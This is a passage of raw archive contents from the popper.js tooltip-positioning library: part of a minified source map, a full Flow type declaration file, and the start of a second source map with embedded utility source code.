debounce,\n  findIndex,\n  getBordersSize,\n  getBoundaries,\n  getBoundingClientRect,\n  getClientRect,\n  getOffsetParent,\n  getOffsetRect,\n  getOffsetRectRelativeToArbitraryNode,\n  getOuterSizes,\n  getParentNode,\n  getPopperOffsets,\n  getReferenceOffsets,\n  getScroll,\n  getScrollParent,\n  getStyleComputedProperty,\n  getSupportedPropertyName,\n  getWindowSizes,\n  isFixed,\n  isFunction,\n  isModifierEnabled,\n  isModifierRequired,\n  isNumeric,\n  removeEventListeners,\n  runModifiers,\n  setAttributes,\n  setStyles,\n  setupEventListeners,\n};\n"],"names":["element","nodeType","window","ownerDocument","defaultView","css","getComputedStyle","property","nodeName","parentNode","host","document","body","getStyleComputedProperty","overflow","overflowX","overflowY","test","getScrollParent","getParentNode","isIE10","isBrowser","navigator","userAgent","version","isIE11","documentElement","noOffsetParent","isIE","offsetParent","nextElementSibling","indexOf","getOffsetParent","firstElementChild","node","getRoot","element1","element2","order","compareDocumentPosition","Node","DOCUMENT_POSITION_FOLLOWING","start","end","range","createRange","setStart","setEnd","commonAncestorContainer","contains","isOffsetContainer","element1root","findCommonOffsetParent","side","upperSide","html","scrollingElement","subtract","scrollTop","getScroll","scrollLeft","modifier","top","bottom","left","right","sideA","axis","sideB","parseFloat","styles","Math","max","parseInt","computedStyle","getSize","offsets","width","height","rect","getBoundingClientRect","result","sizes","getWindowSizes","clientWidth","clientHeight","horizScrollbar","offsetWidth","vertScrollbar","offsetHeight","getBordersSize","getClientRect","fixedPosition","runIsIE","isHTML","parent","childrenRect","parentRect","scrollParent","borderTopWidth","borderLeftWidth","marginTop","marginLeft","includeScroll","excludeScroll","relativeOffset","getOffsetRectRelativeToArbitraryNode","innerWidth","innerHeight","offset","isFixed","parentElement","el","boundaries","getFixedPositionOffsetParent","boundariesElement","getViewportOffsetRectRelativeToArtbitraryNode","boundariesNode","popper","padding","isPaddingNumber","placement","getBoundaries","rects","refRect","sortedAreas","Object","keys","map","getArea","sort","b","area","a","filteredAreas","filter","computedPlacement","length","key","variation","split","longerTimeoutBrowsers","timeoutDuration","i","called","Promise","resolve","then","scheduled","supportsMicroTasks","Array","prototype","find","arr","findIndex","cur","match","obj","elementRect","offsetLeft","offsetTop","x","marginBottom","y","marginRight","hash","replace","popperRect","getOuterSizes","popperOffsets","isHoriz","mainSide","secondarySide","measurement","secondaryMeasurement","referenceOffsets","getOppositePlacement","commonOffsetParent","prefixes","upperProp","charAt","toUpperCase","slice","prefix","toCheck","style","functionToCheck","getType","toString","call","modifiers","some","name","enabled","requesting","isRequired","warn","requested","n","isNaN","isFinite","removeEventListener","state","updateBound","scrollParents","forEach","scrollElement","eventsEnabled","modifiersToRun","ends","fn","isFunction","data","reference","value","attributes","removeAttribute","setAttribute","unit","isNumeric","isBody","target","addEventListener","passive","push"],"mappings":"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"}esm/poppper.js.flow000064400000006347151677356750010361 0ustar00declare module 'popper.js' {
  declare type Position = 'top' | 'right' | 'bottom' | 'left';
  declare type Placement =
    | 'auto-start'
    | 'auto'
    | 'auto-end'
    | 'top-start'
    | 'top'
    | 'top-end'
    | 'right-start'
    | 'right'
    | 'right-end'
    | 'bottom-end'
    | 'bottom'
    | 'bottom-start'
    | 'left-end'
    | 'left'
    | 'left-start';

  declare type Offset = {
    top: number,
    left: number,
    width: number,
    height: number,
    position: Position,
  };

  declare type Boundary = 'scrollParent' | 'viewport' | 'window';

  declare type Behavior = 'flip' | 'clockwise' | 'counterclockwise';

  declare type Data = {
    instance: Popper,
    placement: Placement,
    originalPlacement: Placement,
    flipped: boolean,
    hide: boolean,
    arrowElement: Element,
    styles: CSSStyleDeclaration,
    arrowStyles: CSSStyleDeclaration,
    boundaries: Object,
    offsets: {
      popper: Offset,
      reference: Offset,
      arrow: {
        top: number,
        left: number,
      },
    },
  };

  declare type ModifierFn = (data: Data, options: Object) => Data;

  declare type BaseModifier = {
    order?: number,
    enabled?: boolean,
    fn?: ModifierFn,
  };

  declare type Modifiers = {
    shift?: BaseModifier,
    offset?: BaseModifier & {
      offset?: number | string,
    },
    preventOverflow?: BaseModifier & {
      priority?: Position[],
      padding?: number,
      boundariesElement?: Boundary | Element,
      escapeWithReference?: boolean,
    },
    keepTogether?: BaseModifier,
    arrow?: BaseModifier & {
      element?: string | Element | null,
    },
    flip?: BaseModifier & {
      behavior?: Behavior | Position[],
      padding?: number,
      boundariesElement?: Boundary | Element,
    },
    inner?: BaseModifier,
    hide?: BaseModifier,
    applyStyle?: BaseModifier & {
      onLoad?: Function,
      gpuAcceleration?: boolean,
    },
    computeStyle?: BaseModifier & {
      gpuAcceleration?: boolean,
      x?: 'bottom' | 'top',
      y?: 'left' | 'right',
    },

    [name: string]: (BaseModifier & { [string]: * }) | null,
  };

  declare type Options = {
    placement?: Placement,
    positionFixed?: boolean,
    eventsEnabled?: boolean,
    modifiers?: Modifiers,
    removeOnDestroy?: boolean,

    onCreate?: (data: Data) => void,

    onUpdate?: (data: Data) => void,
  };

  declare var placements: Placement;

  declare type ReferenceObject = {
    +clientHeight: number,
    +clientWidth: number,

    getBoundingClientRect():
      | ClientRect
      | {
          width: number,
          height: number,
          top: number,
          right: number,
          bottom: number,
          left: number,
        },
  };

  declare type Instance = {
    destroy: () => void,
    scheduleUpdate: () => void,
    update: () => void,
    enableEventListeners: () => void,
    disableEventListeners: () => void,
  };

  declare class Popper {
    static placements: Placement;

    constructor(
      reference: Element | ReferenceObject,
      popper: Element,
      options?: Options
    ): Instance;
  }

  declare module.exports: Class<Popper>;
}
esm/popper.min.js.map000064400000353553151677356750010575 0ustar00{"version":3,"file":"popper.min.js","sources":["../../src/utils/debounce.js","../../src/utils/isBrowser.js","../../src/utils/isFunction.js","../../src/utils/getStyleComputedProperty.js","../../src/utils/getParentNode.js","../../src/utils/getScrollParent.js","../../src/utils/isIE.js","../../src/utils/getOffsetParent.js","../../src/utils/isOffsetContainer.js","../../src/utils/getRoot.js","../../src/utils/findCommonOffsetParent.js","../../src/utils/getScroll.js","../../src/utils/includeScroll.js","../../src/utils/getBordersSize.js","../../src/utils/getWindowSizes.js","../../src/utils/getClientRect.js","../../src/utils/getBoundingClientRect.js","../../src/utils/getOffsetRectRelativeToArbitraryNode.js","../../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../../src/utils/isFixed.js","../../src/utils/getFixedPositionOffsetParent.js","../../src/utils/getBoundaries.js","../../src/utils/computeAutoPlacement.js","../../src/utils/getReferenceOffsets.js","../../src/utils/getOuterSizes.js","../../src/utils/getOppositePlacement.js","../../src/utils/getPopperOffsets.js","../../src/utils/find.js","../../src/utils/findIndex.js","../../src/utils/runModifiers.js","../../src/methods/update.js","../../src/utils/isModifierEnabled.js","../../src/utils/getSupportedPropertyName.js","../../src/methods/destroy.js","../../src/utils/getWindow.js","../../src/utils/setupEventListeners.js","../../src/methods/enableEventListeners.js","../../src/utils/removeEventListeners.js","../../src/methods/disableEventListeners.js","../../src/utils/isNumeric.js","../../src/utils/setStyles.js","../../src/utils/setAttributes.js","../../src/modifiers/applyStyle.js","../../src/modifiers/computeStyle.js","../../src/utils/isModifierRequired.js","../../src/modifiers/arrow.js","../../src/utils/getOppositeVariation.js","../../src/methods/placements.js","../../src/utils/clockwise.js","../../src/modifiers/flip.js","../../src/modifiers/keepTogether.js","../../src/modifiers/offset.js","../../src/modifiers/preventOverflow.js","../../src/modifiers/shift.js","../../src/modifiers/hide.js","../../src/modifiers/inner.js","../../src/modifiers/index.js","../../src/methods/defaults.js","../../src/index.js"],"sourcesContent":["import isBrowser from './isBrowser';\n\nconst longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nlet timeoutDuration = 0;\nfor (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nexport function microtaskDebounce(fn) {\n  let called = false\n  return () => {\n    if (called) {\n      return\n    }\n    called = true\n    window.Promise.resolve().then(() => {\n      called = false\n      fn()\n    })\n  }\n}\n\nexport function taskDebounce(fn) {\n  let scheduled = false;\n  return () => {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(() => {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nconst supportsMicroTasks = isBrowser && window.Promise\n\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nexport default (supportsMicroTasks\n  ? microtaskDebounce\n  : taskDebounce);\n","export default typeof window !== 'undefined' && typeof document !== 'undefined';\n","/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nexport default function isFunction(functionToCheck) {\n  const getType = {};\n  return (\n    functionToCheck &&\n    getType.toString.call(functionToCheck) === '[object Function]'\n  );\n}\n","/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n 